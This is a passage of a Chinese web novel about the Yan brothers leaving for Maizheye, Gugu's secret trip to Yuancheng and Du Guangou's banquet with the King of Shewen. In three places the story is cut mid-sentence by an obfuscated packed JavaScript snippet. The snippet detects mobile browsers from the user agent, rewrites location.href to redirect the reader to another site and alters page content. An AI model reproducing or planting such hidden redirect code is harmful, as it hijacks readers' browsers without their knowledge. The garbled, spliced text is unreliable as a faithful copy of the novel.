“燕无,你再不出来的话,我就砸门了!”她取起雪铲,做出一副要破门而入的模样。等了半晌,还是从房间得到一片寂静,古古又说道,“我进来了,离门远一点!” 她捏紧了手里的铁杆,一个竖劈砸在门把上,传回来的震颤麻了她的手臂,然而她没有停顿,又一次举高,再砸第二下。那金属制成的把手过于坚固,到现在只产生了两道划伤,古古没有泄气,又抬手,准备砸第三下。 就在这时,屋里传来了男人的声音,“我不是说了,想一个人待着吗?” 那是燕无的声音,古古一顿,嘴上抱怨,“你一直不出来,让人很担心啊!” “我没事。” “那就把门打开。” 里面的人又不说话了。 这时候,楼梯处传来了一阵脚步声,古古以为是楼下那个接待员追上来了,谨慎地看过去,却见一个更为高大的身影一步步走上台阶。 129. 终归自由3 看到来人,古古一时有些愣住,她没想到会在这里看到燕戎陵的身影,她以为他已经走了。 燕家大哥步伐沉稳,带着一种不容质疑的气场,身后跟着几个下人。他来到了燕无的房门口,步伐停下,话语中有种隐而不发的怒意,对房中人说道:“我要离开暮落镇,去仿制敌人的武器。然后,夺回甾染。那是父亲苦心经营的城池,是他毕生的心血,我不允许它沦落外人之手。” 屋里的人没有反应,一阵清风穿过门缝,像是那人无言的拒绝。 “燕无,和我一起走。”燕戎陵说。 半晌,房间里什么动静也没有,就在古古以为里面的人出了什么事的时候,燕无那空洞的声音响了起来,“既然哥那么在意父王的城池,你自己夺回它就好了。” “你就不在乎吗,就甘愿什么都不做。”燕戎陵一拳打在门上,“你心中毫无恨意可言吗?” 又隔了一阵子,燕无的声音传来:“我不知道该做什么。” 燕戎陵说:“不知道做什么,那就来帮我,一起夺回曾属于我们的东西。你已经低落了太久,不做些什么,我怀疑你永远也无法振作起来。” “从前我是父王的工具。”燕无道,有些凄惨地笑起来,“现在,你要我成为你的工具吗,大哥?” “我没有把你看成是工具。”燕戎陵道,“父王也没有把你看做工具,是你自己这样认为。” 燕无的笑意不见,音色变得阴沉,“被人利用,不就是工具吗。” “你越是这么认为,就越会变成这样。你认为自己受压迫,那么,你就会表现得像个奴隶。如果你认为自己是个自由的人,那么,牢笼便在你的眼中不复存在。你最终会变成自己想象中的那个人。” “呵呵……”燕无复又冷冷地笑起来,“这是多么凄惨的人,才会用这些借口,为别人加之于自身的苦难,找这种自我开脱的方式。” “这不是自我开脱,燕无,这是聪明人的做法。”燕戎陵道。 “又不是你一无所知地在他身边待了那么多年。父王不喜欢我,甚至看不起我,我何必为他做什么,岂不是死了之后还要被他嘲弄我的殷勤。” 听到这里,古古只觉得燕戎陵周身散发出一股黑压的气息。他没有继续再说下去,只是从身后的人那里接过来一串钥匙,从中挑出了一把,打开了房门。 屋里有些暗,临近黄昏的光已经不足以照亮它了。燕无坐在窗台上,背着光,让人看不表他的模样,只剩十分不善的声音传来,“我没让你进来。” 燕戎陵对四弟的话不闻不问,走上前去,一刻不停地说道:“父王已经把他认为最好的东西给了我们。他征战了这么些年,有些想法已经在他的脑海里根深蒂固。他坐稳了权力,就不想失去它,他拥有了一座城,就想要完固它。他以为我们也是一样的想法,以为他想要的,也是我们想要的。” 燕戎陵逼进燕无,后者摆出了一副抵触的姿态,“出去!” “但我们并不需要他视为珍宝的东西。他的儿子接二连三离他而去的时候,我觉得他已经意识到了这点。”燕戎陵不顾燕无的抵触,直面对方的盛怒,压迫而至,“他手中能留给后代的最好的东西,就是那座甾染山城了。在我离开时,他并没有怎么挽留我,这并不是因为他喜爱我,想要遵循我的意愿,而是因为,他还有你们三个。他没想过把最好的给我,不是非我不可,这点上,他很公平。自我离开甾染之后,他从来没有来找我,他的冷漠有时候对我们所有人都一样。在这点上,他也很公平。” “现在说这些干什么?”燕无大声说道,“他公不公平不是显而易见的吗?你一个得利者在我面前说什么!?” “无论是哪个儿子,他没有偏颇。他事业的继承遵循着顺位往下的规则,我不干,就问二弟,二弟推脱,就交给三弟,三弟消失,就轮到了你。你之后就没有别人了,所以,父王可能会把你看得更紧,在你成年后,依然觉得约束,会觉得没有自我,很多都是这个原因。”燕戎陵道。 “他厌恶我,所以才会做那些事!” “父王的确对你做了许多错事,儿时的教育方式,对你的冷落,成年后让强迫你接受他的事业,这些,他都没有过问你的意见。但同时,你又是他的儿子,他其实对你寄予厚望,教育着你,养育了你。对你而言,他更像是一个仁慈的独裁者,不是吗?你逃不出他的手掌心,也一直没有拼死挣脱他的桎梏,只因为他对你其实没有你以为的那么不堪。” “闭嘴!”说罢,燕无跳下窗台,往一旁而去,但却被燕戎陵拦了下来。 燕戎陵不倦地道:“燕无,难道你在面对父王的时候,就没有那种感觉吗?” “我叫你闭嘴!” “难道这么多年,你就从来没有仰仗过他,崇拜过他,因他的陪伴或教导而洋洋得意——” “够了!我已经说得很明白了,我绝不会帮你夺回甾染,滚出去!”燕无怒极一般吼道,一掌打开燕戎陵。 但燕戎陵没有退让半步,反而是抓住了四弟的大臂,将他压制在原地,“你虽然说了很多遍父王不曾喜爱你,但是你却从来没有说过一句你恨他。” “放开!”燕无挣扎着,想从燕戎陵的桎梏下挣脱出来。但是,胸口的贯穿伤似乎弱化了他的实力,让他无力脱离。 “我们是一家人,不是吗,燕无。一家人或许注定就是这样,必须把心脏都揉碎了,才能粘在一起,流着血喊疼,才能不分开。”燕戎陵几乎是怜伤地说,但他手中的力道却不容抗拒,“今天,我就是要你和我一起走,越是看你蒌靡不振,就越是要让你和我在一起,不管这样会让你多难受。” 燕戎陵说完,猛然一拽,拖着燕无往外走,边走,他边对房间外的下人说道:“去,多准备一个人的行李,速度快,我们已经比原定计划推迟了。” 外面几个跟着燕戎陵的人都十分震惊,一时站在原地没有动作,直到镇长再度催促他们一次,几人才着急忙慌地行动起来。 经过门口的时候,燕无抓住了门框,两人的身影霋时一顿。燕戎陵回头,看了一眼,接着一下子扽开他,继续拉着人在走廊上往外走。 古古知道燕戎陵的用心良苦,话里话外,燕家大哥只是想把四弟安置在身边,带着他做别的事,以来让他分分脆弱的心神,从往事中脱身。但是,这番行为在古古的眼中实在过激了,她跟上去,劝道:“戎陵哥, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13288796|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别这样,他伤还没好。” 但是燕戎陵似乎在气头上,根本不听,拖着燕无一路走到了楼梯口。 “你不能就这么把我带走!”燕无喊着。 “我一辈子没有行使过长兄的权力,现在无人可以阻止我。” 嘈杂从楼梯一直持续到了镇长楼的大门口,古古赶过去,来到了一层的门前,只见燕戎陵把一下子按在燕无一旁的墙壁上,燕无痛呼了一声,但燕戎陵的态度丝毫没有因此软化。长兄说道:“需要我把你绑起来吗?" 就在这时,一直无从反抗的人不知哪里来的力气,一把挣脱开燕戎陵的束缚,噌一声,抽出了对方腰侧的一截短剑。 “你根本什么都不懂!”燕无崩溃地大喊,“要我去为甾染而战,不如在这杀了我!” 燕戎陵眉间的沟壑深不见底,“只是去夺回属于我们的东西,你为什么——” 男人的话截然而止,可能是因为他看到了燕无的面容。像从天空中落下了无尽哀恸,此刻都坠在了年轻人的脸上。 “你知道什么?你知道我最后看到了什么吗?”燕无举着那柄短剑,不让任何人接近,“在最后的时候,父王跟我说,他让我快跑。” 燕戎陵不再逼近他,只是安静地听着。 “他说,他知道我早就想跑了,他让我立刻别回头地跑,就好像他非常支持这件事一样。”燕无说着,他举剑的手在颤抖,“那时候,我有种奇怪的感觉,我好像也看到了他身上的枷锁。是那些枷锁桎梏着他,逼他执意要让自己的后代坐守甾染。然而,在他死去之前,那些枷锁从他身上消失了,自由找上了他,让他毫无顾忌地说出了那番话。” 燕无深重地呼吸着,像是每一口气都很艰难,“我和他的矛盾,很多都是因为甾染。燕家人离开了甾染,才能找到真正的自由,那是一片无法飞翔的死寂天空,任何人都不应再回到那个地方。我恨那里,一生都恨……!” 燕无一把扔了剑,渐渐地,他有些萎靡地靠着石墙蹲了下去。 燕戎陵陷入了一时的沉默,半晌后,他没有和燕无对话,而是转头对自己的人说:“继续去准备,到东门等我。” 人们行动了起来,纷乱离开了这一度骚乱的楼门口。古古看着这一切,心里说不上是什么滋味。在有限的认知当中,她一直以为,一众王室理应坐拥荣华富贵,家族上下凝聚成一股绳,在一座城池当中各尽其职。而不是像燕家人一样,支离破碎,子孙四处飘荡。而且,这还不是王权竞争的结果,这是不去竞争的结果。 一阵过去,众人离开了,此地只剩零星几人。燕戎陵走到燕无身边蹲下,低声问他,“只是为父王报仇的话,你愿意和我一起走吗?” 燕无垂着头,沉默。 “和我走,去获取能让我们赢得这场战争的武器,杀死我们的敌人,仅仅是这样。不要你再做内承,更不要你继位,那之后甾染和你没有关系,你想去哪就去哪。” 燕无的声音有些沉闷,“……我可以为父王复仇,但是,我不会为了甾染的武王复仇。” “好。” “这样还不够……我想要那个代表祸乱的城市消失。” “……可以。” 130. 终归自由4 燕无抬起头来,看着燕戎陵,“……你真这么想吗,哥?” 燕戎陵没回话,只是伸手,握在燕无的肩上,重重的摇了两下。即便无言,燕无似乎也明白了对方的意思。片刻之后,他没有再在地上耽搁多久,很快有了起身的动作,他的动作很慢,像为了把地上支离破碎的自我一片片捡起来,但好在,他最终完成了这个动作,直起了腰身。 见他模样似乎又有了些生机,古古也不由得欣慰起来,她不知为何燕戎陵改变了要夺回甾染的态度,或许,男人之前有些话并非真心,只是为了刺激一蹶不振的燕无。 燕戎陵拍了一下燕无的后背,领着人往镇口的方向走去。夕阳把他们影子拉长了一些,摇晃且坚定地前进着。静默一阵后,刚才的话题似乎就这么翻篇了,燕家大哥说起了接下来的打算,“黎军占据了甾染后,下一步有向牧盟进攻的可能。不管是我们去找她,还是她先发起进攻,我们都必须尽快复制他们的武器,否则没有胜算。” 古古跟上两人的脚步,问道:“接下来是要去哪?” “麦哲也。” 对这个地名,她有所耳闻,那是牧盟三大核心都城之一。 古古:“那里很远吧?” 燕戎陵道:“没错,麦哲也在牧盟的最东边,离海最近。” 古古不禁感慨,“牧盟真大啊。” 燕戎陵表示同意,“没错。来到牧盟之后,我还从来没有踏足过那片圣地。麦哲也以其神明之都而闻名,但很少有人知道的是,那里也同样是科研之都。” 古古听到这句话,有些意外。燕戎陵口中的一个词,显然是她不久之前才真正理解的词语。 科研。古古知道自己的母亲是一个科研人员,但是,只有在她真正进入到她的地下室,看到了那些装着蛇的器皿,还有那些看不懂的资料之后,她才第一次模糊地理解,科研到底指的是个什么东西。而燕戎陵现在正在平淡地把这个词说出口,仿佛他默认所有人都知道这个词的含义一般。 燕戎陵看向古古,问道:“古古也一起去麦哲也吧?” 古古支吾了一声,她有其它的打算,“不,我不去。” 燕无有些讶异地回过头来,而古古没有与他对上的视线。她为自己的说辞解释道:“我不想再折腾啦,我想再熟悉熟悉这个地方,最近也有些累了……有戎陵哥你照看着燕无,我一点也不担心。” 燕无平静地反驳,“我不需要人照顾。” 燕戎陵说道:“也好,那古古你就留在暮落,熟悉熟悉这里。正好,我听说你之前把甾染的营生打理得井井有条,不知道我有没有这个福气,能享有你的帮助呢?” 古古久违且发自内心地笑起来,拍了拍胸脯,“放心交给我吧!戎陵哥。” 燕无斜眼看着古古,后者能够感受到他的视线,但是她装作什么也没看到。 她有些自己的打算,这恐怕已经被燕无发觉了。男人大概不知道她准备干什么,但是,应该已经觉察到了她的异常。 这也是没办法的事,谁叫他们已经这么熟悉了,一点异样也逃不过彼此的眼睛。 但是,这件事,这个小小的在她心中暗藏的计划,她还不打算告诉燕无。 因为,如果告诉他,肯定会受到阻拦吧。 几人到达了镇口时,夕阳红极。 一众人停在镇门口的草垛旁,马匹惬意地甩着尾巴,那些马儿黝黑发亮,被牧盟的骏河哺育,生得非常得壮实有力。 那是燕无最喜欢的生灵,古古很庆幸男人最终来到了这里,这个他从小便梦寐以求的地方,加之和自己的兄长团聚、一同做事,对燕无来说,无疑是开了一个好头。虽然,缠绕在他们身上的枷锁还没有完全解开,还有很多事情要做,比如对抗黎军,和过去做一个了断,比如古古自己也要去那不知其踪的元城探寻,解开身世的谜团。 在这些所有事都忙完之后,他们才算到达了真正的自由。 古古和燕无来到了为一匹壮实高大的马前,她抬头,伸出手,燕无则无言地弯下腰来,让她能够挂住自己的脖子,完成一个拥抱。 古古摸了摸燕无的背,“解决你的事,我等你回来。” 她感觉到燕无也回抱住了她,对方的声音在耳畔响起,“不会再让你看见这么不堪的我了。” 分开后,燕无上了马,马儿转了两圈,男人别离的目光停滞在她身上。 燕戎陵驾马过来,对古古说道:“有什么事就找副镇长,他会为你解决的。” “好的,戎陵哥。” “走了。” “路上小心。” 背影向远离夕阳的方向而去,不过多久,镇门口再度恢复成一副冷清的模样。古古闭上眼深吸了一口冷气,再睁开眼时,里面是坚毅的目光。 现在,燕无已经踏上通往未来的路途,而她自己,也要为自己的过去书写一个句号了。相信下一次见面的时候,他们都会变成更加坚韧的人。 今日夜晚,古古再度打扰了血皑人所住的房屋。 这回是红头发的男人给她开门,对方还是疑神疑鬼地四下查看燕无有没有一并出现。古古告诉他燕无已经不在暮落镇了,葛马这才长纾了一口气,把人放了进来。 进到大厅,葛马转身去带她分了一杯新烧的热水,自己找了个地方坐下来,对她说道:“你考虑好我们之前说的事了?” 古古在他对面坐下来,他们面前的木桌子是今早他们其乐融融吃饭的那张,看着它,古古仿佛还能想起来当时饭菜的香味。但是,如果她下定决心去完成自己的计划的话,一段时间内,她都再也吃不到那么美味的东西了。 “嗯,葛马,你说你知道元城在哪,我想请你为我引路。”古古说。 葛马问道:“你跟我走,你旁边那个答应吗?” 古古一愣,反应过来他指的是燕无,“他不知道这件事。” “哦。”葛马了然的扬了扬眉,“也就是说,我们必须尽快行动。要悄悄地去,悄悄地回。” 古古问:“元城是不是离这里很远?” 葛马摩挲着自己的下巴,有些为难地说道:“我考虑的倒不是距离的问题……” 古古想了想,说:“哦,对,关于报酬,我会付给你……呃,我记得你是个信差,走这么一趟,多少令比较合适?我出双倍的价钱。” 葛马摆摆手,“哎呀,我不是指这个,上次是跟你开玩笑呢,我们都这个交情了,还谈钱干什么?而且,我去元城也有自己的事,那里既然有能通过横古山脉的道路,为了找到贵人……我是说,杜光欧,这一趟也有我去的价值。” 古古:“你们当真很在乎这个朋友。” 葛马挠了挠头,“怎么说呢……他其实挺让我们伤心的,尤其是让莉莉。但是,唉,没办法,谁让我们就是没办法不惦记那个臭脸的。” 古古笑起来,“长远来说,我们也是朋友。” 葛马疑惑,“唔?” “黎礼。我们也很想除掉她。”古古说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13300105|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 葛马凑近了,问道:“说起来,我还不知道你们究竟是怎么来到这里的,甾染到底发生了什么啊?” 古古想起了甾染发生的一切,和燕无说的他所做过的一切,向葛马问道:“我告诉你,你能保证向其他所有人保密吗?” “肯定的。”葛马信誓旦旦说道。 这时候,屋里面走出来一个小小的身影,那是克拉娜的儿子白祁,他听到了两人的交谈,来到了他们的桌子旁,丢下了一句话走了,“葛马叔叔是个大嘴巴,守不住的。” “嘿你小子。”葛马想给他一个脑瓜嘣,但是,男孩一溜烟跑了,葛马打了个空,“你怎么学坏了?你妈妈知道了得多伤心啊!” 古古笑道:“小孩子都这么说啊,葛马先生,这让我很忐忑。我想还是暂时不告诉你了吧,你只需要知道我们共同的敌人都是那个女人。” “好吧,好吧。”葛马服输似地说道,“信任需要搭建,我理解你对我诚信的顾虑,我会在路上打消你的念头,消除你对我所有的负面看法的!” “那就拭目以待了。”古古说。 达成了一同前往元城的约定,古古离开了克拉娜的家。 不久后,她要去面对一个未知的世界了,这段旅程上,燕无不会在她的身边,但是,她想,一个人的自我蜕变,总归是要孤独的。 父母的身份,他们一生所投注的事业,元城的所在以及背后的故事,那些母亲实验室里已经死去的生灵所通向的研究。弄懂了这些,她或许才能够进一步接近真相。 等她回来的时候,她会有着更加清晰的自我认知。再次和燕无相遇的时候,她相信,他们都会成为更好的人。无论他们将来要面对的,是战胜残酷的黎军,还是经营一个小小的马场,又或者是要对抗这个持续严寒的天地,她想,他们都能一同想出解法。 人只有稳住了自己,才能照顾好别人。只有清楚了自己的灵魂,才能给予他人施舍。 回到住所,她麻烦副镇长找来了纸笔,而后,给燕无留下了一封信,以免他回来的时候,她还没有。 信上是这么写的: “燕无,我现在不在暮落,而是在寻找元城的路上。那里有着有关我家世的秘密,而我又渴望解开这些谜团已久。不用担心我,当你见到这封信的时候,我应该已经在回来的路上。 “……燕无,我们都是因为自己的出身,而遭受了诸多不幸的人。你和戎陵哥离开,我很开心,因为你终于能够一步步走出那些阴霾,重新开始一段属于自己的人生。 “而我也要去找我的,我想真正地感受自己是属于这个世界的。 “曾经,离开你,我便无法呼吸一般,那让我一度觉得自己不是一个完整的人。我把这些一度归咎于对你的依赖,但是,后来想了想,那应该是因为我惧怕这个世界,所以,我总是躲在什么东西的后面。我惧怕它,因为,我觉得我不属于它。我对甾染没有归属感,对王城没有归属感,甚至对生我养我的荣光街都没有归属感。我一直不知道自己属于哪里,只有把这个心结解决掉,我才能真正地成为我自己。 “下次见面的时候,你会见到一个更坚强独立的我,而我也会见到一个不一样的你吧。那样的我们,一定会强韧地一并度过所有难关,以我们所想的样子,活在这个世上。” 她叠起了信,放在房间里明显的地方。 几日后,带着对未来最美好且坚定的愿想,她和葛马两人骑着一白一棕两头驯鹿,踏上了前往元城的道路。 131. 远道而来之人1 ## 摄文王庭,偏殿。 杜光欧从柔软的大床上醒来。现在正是黄昏,一种惆怅的情绪油然而生,不知所起。 来到摄文的这一路上,他和燕容真快马加鞭,很是疲惫。 一路走来,杜光欧看到了许许多多自成体系的城镇,但是,他们宣称自己属于摄文。那些城镇有自己的耕地、牧场,能够自给自足,却要向摄文纳贡。 听闻,摄文即将立国。而北部整片辽阔的汲淼平原,都将属于一个国家,国号还没定下。 这是燕戎真那个男人告诉他的,一路上,他们聊了很多。 燕戎真似乎非常崇拜摄文,对这里有着无尽的向往。他形容这里是天赐之地,它的发展无人能及,巨大的锅炉给每家每户供给热量,他们研制的水管在如何的低温下也不会破裂,给水会送到各家各户,管道埋进了地下,因为摄文的王不希望见到那些肮脏的沟渠。 在摄文的主城里,一切都是那么的井然有序,区块分明。 从进入主城的那一刻起,杜光欧被那整齐排列的红色房顶吸引去视线,它们像某种生机盎然的生物簇拥在一起,而从里面出来的居民,往往穿着相似的衣服。 燕戎真如是告诉他:在摄文,职业相仿的人会居住在一起,大夫和大夫住在同一个街区,木匠在一个街区,铁匠在一个街区。他们彼此分割开来,只有业务或生活上有往来的时候才会汇集在一起。相同职业的人活动范围固定,他们一起到街区的饭馆吃饭,一起去统一的公共浴池游泳,再回到集体宿舍,准备下一日的工作内容。 而摄文的建筑高度,也十足令人震撼。在血皑,最高的建筑便位于王城,大概有三四层楼高。然而,在摄文,三层公共建筑很普遍,而六层左右的居民楼比比皆是。 摄文有许多用于公共事业的建筑,比如离毗邻王庭而建的圆柱形建筑,那里是角斗场,名为“戈首”,几乎月月都会举办活动。赋闲或是假期中的人们会来到这里,肆意释放着激情,为他们看中的斗士下注。 杜光欧问燕戎真,什么是假期。对方回答他,那是什么都不用做的一天,因为平日里有富足的生产,积累有冗余,所以,那天人们不需要劳作,也能够维系温饱。 血皑曾经的王室若有所思,这种模式,他还是第一次见。 和血皑人散漫的、餍足的生活状态不同,摄文人的日常看上去更有条理,也更利于统治。 他不由关注起摄文人的精神面貌,但是,只是在街上随便地看上两眼,并不能得出什么答案。无论在哪里,都有哭丧着脸的人,也有满脸笑意的人。 摄文亦有许多大型的商店,它们和甾染的那条繁荣熙攘的荣发街完全不同,也和血皑的零散商铺不一样。在摄文,人们将货物集中在一起,统一在一个偌大的建筑里售卖。不是卖者去买方的地界兜售,也不是需求者去产出者的地界寻找货物,而是让一片地区内的所有交易都集中发生在一栋建筑里。 似乎,摄文很热衷于将人们聚集在一起。从它发展的壮大规模来看,或许这种聚集确实有利于人们去共同发挥出远超出个人能够达到的力量。 那巨大的角斗场就是证明,那些十层的高楼也是证明。 进入了王庭,前往贵宾楼的期间,杜光欧问燕戎真,摄文子民们也都知道姜昆维拥有预知力吗? 燕戎真说是的,姜昆维的预知力在摄文有很重要的作用,他可以预知大到天气、战争,小到赌局的走势。但其能力走重要的用法,是预知每项政策的好坏,以来决定落实哪项政策更利于将来的发展和人民的福祉。 人民也对他的能力深信不疑,毕竟摄文这些年的发展所有人都看在眼里。比如将污水管植入地下就是摄文王的决定,有些元老认为这么做会冒犯土地,引来震怒,但姜昆维坚决执行,结果是不仅美化了城市,更是解决了空气污染的问题,间接致使人们每年生病的次数也降低了。 或许是因为眼花缭乱地看了一路,大脑需要去消化这些新的信息,在燕戎真领他到贵客楼的寝房之后,杜光欧便开始昏昏欲睡。 房间里有巨大的落地窗,楼层很高,能看到城里的万家灯火。室内没储水罐,而是有一个能出水的管道,只要打开开关,水就会自动流出来。 床铺好了,帐幔垂在地上,显得十分静谧。床铺的质地很蓬松、柔软,杜光欧感觉自己已经很久没有睡在这么好的床上,就像回到了家里一样。这样舒适的床辅只在王城里有,但是自从从血皑逃出来之后,他已经很久没有回去了。 他太累了,衣服都没脱,躺在床上没多久就睡了过去。 醒来的时候,已经是黄昏了。一种失落的情绪伴随着他,它来得莫名其妙。 他居然睡了一个白天,看来将近一个多月的路途确实在身体里积压了不少疲累。 一阵敲门声将杜光欧从刚醒浑噩中拽了出来。敲门的人是燕戎真,男人询问是否可以进来。 杜光欧回答可以。于是,那个穿着斯文的外交官走了进来,“约定的时间到了,准备好就一起去见摄文王吧。” “好。”杜光欧晃了晃有些迟缓的脑袋,将那些破败的云霞甩了出去。 换了身更得体的衣服,把那身饱经沧桑的鹿绒麻衣和黑革披风脱掉,换上精绵内裳和绸缎外披,用一条丝制封带在腰间圈住。又在可以出水的铁管道下洗漱,对着镜子捆发,活脱脱又成了他在血皑王城那般整洁尊贵。 与此同时,燕戎真就在一旁等他,两人你一言我一语地聊着关于摄文和姜昆维的话题。 “在见到他之前,我必须提醒你……”燕戎真说道。他靠在水池边,侧过身来,面容看上去有些无奈,“摄文王是一个非常热情的人,他对你的到来非常期待。所以,等下见到几十个大臣参与的隆重宴会时,也不必太过惊讶。” 杜光欧洗脸的动作一顿,“那么多人?” “是,摄文王喜欢热闹。” “那岂不是没法聊正事了。” “宴会结束后,王应该会找你详谈吧。”燕戎真说,“宴会只是他用来对你表示重视的仪式。” 准备完毕,两人离开了住处,前往主宴楼。 主宴楼有三层之高,非常的气派。他们进入待客室等待了一阵子,而后在侍者的带领下动身。 穿越了一个偌大的前厅,又走过一条宽敞的廊道,渐渐地,沸腾的人声传来,他们来到了一扇巨大的宴厅门前。 两侧有专门的侍者负责开门,他们确认了燕戎真和杜光欧两人的身份后,一左一右去推那厚重的大门。比两个人还高的巨门发出年迈的低吼,徐徐朝两侧展开。 一时间,一片金色的闪光从室内映射而出,杜光欧不由眯起了眼睛,半晌才看清那里面的结构。 那是一个充满了圆拱形装饰的巨大厅堂,一条笔直的红毯铺设在地,指向那王座之上象征权力的座椅。 厅堂两侧摆放着长条形的桌子,上面摆放着奇珍佳肴。而穿着富丽堂皇的人们整齐地坐在一侧,面对着中央的演出区域。大门敞开后,他们的视线便聚焦在了来者的身上。 金色的光芒照耀着整个厅堂,一时间,杜光欧有些分不清,究竟这漫眼的金色是来自于那些华丽的内饰,还是来自于窗外的橙黄光芒,又或者是那些明晃晃的蜡烛。还是说,是来自那王座之上的男人,来自于他明显有别于他人的样貌。 “远道而来的朋友!”一声慷慨激昂的声音传来,王座之上的金发男人站了起来,走下红毯铺陈的台阶,向他们快步而来。他大张着双臂,身上的挂饰在移动时叮当作响,男人一副想要热烈拥抱的姿态,面目热情地接近,“久闻你的大名,今日终于得以一见!” 杜光欧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13313825|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也面朝着对方走了过去,不能冷落对待突如其来的盛情,那是失礼。 走到光最亮的地方,在众目睽睽之下,杜光欧向这片北地权力最高之人伸出手去,“摄文王,今日有幸相见,我心中无比激动。” 血皑王室如此说着,也的确让自己的表情看上去像是那么回事。 姜昆维热情地抓住他的手,金发男人目光炯炯,像是见到了多年未见的老友。那种热诚的视线不像伪造,起码,杜光欧不觉得自己能够装成这样。 摄文王的身姿看上去十分的挺拔,据燕戎真的描述,他今年大抵有将近五十岁了。然而,从他的样貌、精神状态和身体素质来看,怎么看,那都是一个三十岁左右的男人。 姜昆维的身高和杜光欧相当,一头卷曲的金发披散在背后,像是那种已经灭绝了的名叫狮子的凶猛野兽。 “快快请坐,这个宴会只在你落坐于席位上的那一刻才算完整!”姜昆维将杜光欧引导到了王座旁的位置,请他坐下。 杜光欧坐在姜昆维的右手边,而燕戎真则坐在杜光欧的再右边。而坐在姜昆维左手边的则是一个轻纱掩面的年轻女人,她有着一头稍显暗淡的金发,坐姿端正,目视前方。根据燕戎真之前透露的,这个女人应该是姜昆维的妻子,王后丝黛拉。 所有人都落座之后,姜昆维举起了一盏酒杯,对他们说道:“吃吧,喝吧!所有的烦恼都在这之后去解决,我的客人,我的臣民,让我们开启这场宴会。在它终结之前,不要思考任何凡尘的烦扰!” 他一口饮下那杯酒,将空盏扔出去,拍了两下手掌,宣告着宴会的开始。 这时候,一群身穿薄纱的女人从门口走了进来,她们舞姿轻盈,步态散漫,在这温暖的宴会厅中翩翩起舞。 侍者不断往酒盏里倒酒,姜昆维举了一杯酒过来,杜光欧与他碰杯。 摄文王面色欢喜,滔滔不绝地诉说着对南陆的向往,他想去那座鼎鼎有名的血皑拜访,想和那里真诚质朴的人搭建信任的桥梁。 姜昆维说这些话的时候,杜光欧有些心不在焉地附和着。不管姜昆维是真心实意地喜爱血皑,还是在说一些场面话,他都不怎么想去应付。现在,他一心都是自己的复仇大计。 “摄文王。”在又一次激情澎湃的阐述之后,杜光欧打断了姜昆维,有些歉意地为对方倒酒,对他说道,“有关这次我前来摄文敬见——” “我的朋友。”姜昆维也反过来打断了他,手往前一送,就制止了杜光欧倒酒的动作。摄文王的眼睛笑眯眯的,声音压低了,“宴会上人多眼杂,你的事是天大的正事,我必须在一个正式的、安静的、私密的场所洗耳恭听。” 姜昆维这么说,杜光欧也不好再说什么了。 摄文王的声音又恢复了平常的大小,“现在,先让我们享受宴会吧。” 就算姜昆维这么说,杜光欧也没什么兴趣享受它。 他的手放在自己的口袋里,那里,一个木制的药匣子安安静静地躺着,他在犹豫要不要将它打开。 打开它,吞下毒药,他就可以肆无忌惮地想做什么就做什么了。不管是通过交流试探出姜昆维的性格,以便后续更加有针对性地应付他,还是闹出一点骚乱,来测测摄文王庭的护卫实力,他都可以无需代价地实现。 如果是在以前,他已经动手这么做了。 但是当下,他有一个顾虑,那就是姜昆维的预知力。 直到现在为止,杜光欧没觉得这个男人有什么特别的,除了他金光灿灿的外表和过于热情的性格。 如果自己启用回溯力的话,会被现在的姜昆维所预知到吗? 杜光欧并不清楚这个问题的答案。 如果他现在服下毒药,闹出一番骚乱、或者问一些冒犯的话,而这些举动又被姜昆维所预测到的话,这个摄文王会怎么对待他? 132. 远道而来之人2 想必不会像现在这么友善。 杜光欧思索良久,还是放弃了启用回溯力的打算。 他老老实实地待在自己的位置上,单纯地喝喝美酒,吃吃美食,就像姜昆维说的那样,把所有的烦心事抛到这之后解决。 几个小时而已,与被黎礼背叛至今的三个月相比,又算得了什么,他可以等。 宴会的气氛正酣,舞女在场地中央跳着轻柔的舞,两侧的大臣们二三聚在一起喝酒聊天。 杜光欧时不时观察着在场的人,除了那些参宴的大臣外,宴会厅的暗处还站着几排不闻声色的人,那大抵都是姜昆维的护卫。杜光欧曾经也是王室,他知道,无论在什么地方,只要有像姜昆维这种身份的人在,就少不了那些暗影中的护卫。 目光漫无目的地游荡着,突然,一个身影吸引了杜光欧的注意。 那是一个棕发的男人,身着铠甲,腰板挺得笔直,他坐在厅侧长桌的一端,那是所有大臣中离王座最近的席位。男人与他身边那些三五成群的人不同,默默无言,一个人安静地喝着酒。 盯着棕发的男人,杜光欧侧身向一旁的燕戎真问道:“那个人是谁?” 燕戎真的视线投望过去,回复道:“那是大元帅闻人佐,摄文最出名的剑豪。世代辅佐王庭,是王最信任的人之一。” 